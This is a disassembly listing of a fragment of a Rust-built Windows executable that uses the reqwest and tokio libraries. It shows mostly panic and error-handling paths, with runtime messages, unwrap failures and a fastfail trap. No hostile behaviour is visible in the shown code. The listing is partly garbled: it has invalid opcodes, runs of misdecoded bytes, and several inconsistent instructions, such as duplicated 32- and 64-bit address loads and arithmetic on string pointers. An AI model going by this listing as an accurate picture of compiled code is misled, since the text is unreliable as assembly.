lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.140122a20
mov qword [rbp + 0x3a8], rdi
lea rax, [rbp + 0x3d8]
mov qword [rbp + 0x1f0], rax
lea rax, [0x1400e73e0]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], rax
lea rax, [rbp + 0x3a8]
mov qword [rbp + 0x210], rax
lea rax, [fcn.1400f2b70]
mov qword [rbp + 0x218], rax
lea rax, str.failed_to_set_environment_variable____to___:
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 3
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x78], 3
lea rdx, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_std_srcenv.rs
lea rcx, [rbp + 0x60]
call fcn.1401224d0
lea rcx, [0x1401696c0]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.140122a20
lea rcx, [0x140163288]
call fcn.140122c50
imul eax, ecx, 0x64
mov qword [rbp + 0x1f0], rdx
mov dword [rbp + 0x1f8], eax
lea rax, [0x140163248]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401629b8]
lea r8, [rbp + 0x1f0]
mov edx, 0x2b
call fcn.140122900
mov qword [rbp - 0x50], rax
mov qword [rbp + 0x60], r13
lea rax, [fcn.140008ab0]
mov qword [rbp + 0x68], rax
lea rax, [0x140167640]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], 1
mov qword [rbp + 0x210], 0
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rbp + 0x1f0]
call fcn.1401224d0
lea rcx, [0x1401631f8]
call fcn.140122c50
ud2
lea rcx, str.core_missing
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140122a20
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140122840
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140122840
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x140168660]
lea r8, [rbp + 0x3d8]
mov edx, 0x1b
call fcn.140122900
mov qword [rbp + 0x3a8], rax
lea rax, [rbp + 0x3d8]
mov qword [rbp + 0x1f0], rax
lea rax, [0x1400e73e0]
mov qword [rbp + 0x1f8], rax
lea rcx, [rbp - 0x50]
mov qword [rbp + 0x200], rcx
mov qword [rbp + 0x208], rax
lea rax, [rbp + 0x3a8]
mov qword [rbp + 0x210], rax
lea rax, [fcn.1400f2b70]
mov qword [rbp + 0x218], rax
lea rax, str.failed_to_set_environment_variable____to___:
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 3
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], 3
lea rdx, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_std_srcenv.rs
lea rcx, [rbp + 0x60]
invalid
call fcn.1401224d0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], 1
mov qword [rbp + 0x200], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x494f9
lea rcx, [rbp + 0x1f0]
call fcn.1401224d0
add eax, dword [rax]
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140122840
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], 1
mov qword [rbp + 0x200], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
add byte [rax - 0x73], cl
adc eax, 0x81f94
lea rcx, [rbp + 0x1f0]
call fcn.1401224d0
invalid
invalid
add eax, dword [rax]
lea rax, str.not_a_CurrentThread_handle
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], 1
test eax, edi
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, byte [rax]
add byte [rax], cl
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
add byte [rax - 0x73], cl
adc eax, 0x8216b
lea rcx, [rbp + 0x1f0]
call fcn.1401224d0
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
lea r8, [0x140167908]
mov edx, 0x2e
add byte cs:[rax], al
invalid
call fcn.140122660
imul eax, ecx, 0x64
mov qword [rbp + 0x1f0], rdx
mov dword [rbp + 0x1f8], eax
lea rax, [0x140163248]
invalid
invalid
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140163190]
lea r8, [rbp + 0x1f0]
mov edx, 0x2b
add byte [rax], al
add al, ch
cmp al, 0xbc
add eax, dword [rax]
lea rax, str.expected__CurrentThread::Context_
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add byte [rdx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
movups xmmword [rbp + 0x208], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x1f0]
call fcn.1401224d0
add eax, dword [rax]
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140122840
lea rcx, str.core_missing
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140122a20
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], 1
mov qword [rbp + 0x200], 8
mov dword [rbp + 0x200], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x1f0]
call fcn.1401224d0
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140122840
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.1401228a0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
mov dword [rbp - 0x50], 0
mov byte [rbp - 0x4c], 0
lea rax, str.fatal_runtime_error:_the_global_allocator_may_not_use_TLS_with_destructors_n
add eax, 0x7ffcf
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], 1
lea rax, [rbp + 0x3d8]
mov qword [rbp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
lea rcx, [rbp - 0x50]
lea ecx, [rbp - 0x50]
lea rdx, [rbp + 0x1f0]
call fcn.1400eb980
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x60]
lea ecx, [rbp + 0x60]
call fcn.1400ebb10
mov ecx, 7
int 0x29
ud2